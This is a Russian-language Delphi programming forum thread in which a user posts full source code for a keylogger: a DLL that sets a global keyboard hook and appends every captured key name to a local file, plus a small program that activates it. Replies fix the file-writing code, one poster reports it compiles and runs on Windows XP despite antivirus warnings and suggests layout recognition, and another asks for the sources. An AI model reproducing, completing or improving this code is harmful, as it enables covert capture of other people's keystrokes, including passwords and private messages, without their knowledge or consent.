Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 17.05.2012, 03:08   #1
Kikimer
Новичок
Джуниор
 
Регистрация: 17.05.2012
Сообщений: 1
По умолчанию Keylogger

добрый день. Пишу кейлоггер. фсе функции находятся в dll библиотеке. Все работает но в не записывает в файл перехваченые символы. Посмотрите пожалуйста может кто найдет в чем ошибка:
DLL билотека:
Код:
library kl;

Uses
   Windows
   ,Messages
   ;

Var
  hook:HHook = 0;

Procedure WriteLog(const log: PChar);
 Var
   hFile: THandle;
   dwError: DWord;
   buf: array[0..1] of Char;
   dwWritten: DWord;
 Begin
   hFile := CreateFile(PChar('kl'), GENERIC_WRITE, 0, nil, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
   Try
     If (hFile <> INVALID_HANDLE_VALUE) Then
     Begin
       dwError := SetFilePointer(hFile, 0, nil, FILE_END);
       If (dwError <> $FFFFFFFF) Then
       Begin
          WriteFile(hFile, log^, length(log), dwWritten, nil);
          buf[0] := #13;
          buf[1] := #10;
          WriteFile(hFile, buf, 2, dwWritten, nil);
       End;
     End;
   Finally
     CloseHandle(hFile);
   End;
 End;

Function HookProc(nCode: LongInt; wParam, lParam: LongInt): LongInt stdcall;
 Var
   lpszName: Array[0..255] Of Char;
 Begin
    If (nCode = HC_ACTION) And ((lParam shr 31) = 1) Then
    Begin

       GetKeyNameText(lParam, @lpszName, $FF);
       WriteLog(PChar(@lpszName));

    End;
    Result := CallNextHookEx(Hook, nCode, wParam, lParam);
 End;


procedure sethook(flag:bool);export; stdcall;
begin
 if flag then
    hook := SetWindowsHookEx(WH_KEYBOARD, @HookProc, hInstance, 0)
 else
   begin
    unhookwindowshookex(hook);
    hook:=0;
   end;
end;

exports sethook;

begin
end.
_____________________________
EXE файл:
Код:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    btn1: TButton;
    procedure btn1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
procedure sethook(flag:bool);export; stdcall;

var
  Form1: TForm1;


implementation
 procedure sethook; external 'kl.DLL' name 'sethook';
{$R *.dfm}

procedure TForm1.btn1Click(Sender: TObject);
begin
{sethook(True);}
  sethook(True);
  {sethook(False);}
{Application.MessageBox('Процедура запущена', 'Результат функции Sethook');}
end;

end.

Последний раз редактировалось Stilet; 17.05.2012 в 07:35.
Kikimer вне форума Ответить с цитированием
Старый 17.05.2012, 06:48   #2
ProgMaster
Новичок
Джуниор
 
Аватар для ProgMaster
 
Регистрация: 13.11.2011
Сообщений: 82
По умолчанию

Про CreateFile я не знаю, но может потому что там OPEN_ALWAYS а думаю надо OPEN_CREATE какой нибудь
А лучше юзать TFileStream
ProgMaster вне форума Ответить с цитированием
Старый 17.05.2012, 07:38   #3
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Код:
 buf: array[0..2] of Char;
...
      If (dwError <> $FFFFFFFF) Then
       Begin
          buf[0] := log;
          buf[1] := #13;
          buf[2] := #10;
          WriteFile(hFile, buf, 3, dwWritten, nil);
       End;
Цитата:
а думаю надо OPEN_CREATE какой нибудь
Нет. Автору дописывать файл нужно а не создавать всякий раз когда символ нужно залогить.
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 17.05.2012, 10:36   #4
Noor
Участник клуба
 
Аватар для Noor
 
Регистрация: 01.11.2006
Сообщений: 1,051
По умолчанию

У меня на WinXP (Delphi 7) все откомпилилось (каспер немного ругнулся), запустилось, все работает.Создался файл kl в котором все клики.Каждый новый символ с новой строки.Думаю стоит добавить распознавание расклади клавиатуры, а то он и русские и украинские буквы пишет латиницей (потом проблематично разбирать что к чему).Файл дописывается!!!

Последний раз редактировалось Noor; 17.05.2012 в 10:41.
Noor вне форума Ответить с цитированием
Старый 17.05.2012, 10:36   #5
Noor
Участник клуба
 
Аватар для Noor
 
Регистрация: 01.11.2006
Сообщений: 1,051
По умолчанию

за второй пост сорри, заглючил интернет

Последний раз редактировалось Noor; 17.05.2012 в 10:39.
Noor вне форума Ответить с цитированием
Старый 29.04.2014, 16:19   #6
disel0794
Новичок
Джуниор
 
Регистрация: 29.04.2014
Сообщений: 1
По умолчанию

Noor, подскажи пожалуйста куда вставлять код
1)
library kl;
Uses
Windows
,Messages
;
...........................
2)
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
................................

Использовать delphi 7? какие модули активировать, какие файлы создать что бы заработало?((
А вообще было бы очень хорошо если бы ты выложил исходники в архиве..(
disel0794 вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
:::Keylogger::: doniyor Общие вопросы Delphi 15 02.03.2012 19:56
KeyLogger iLnes Win Api 0 06.12.2011 16:15
keylogger Dimarik Win Api 19 04.02.2011 07:37
keylogger DeDoK Общие вопросы Delphi 15 06.06.2010 00:15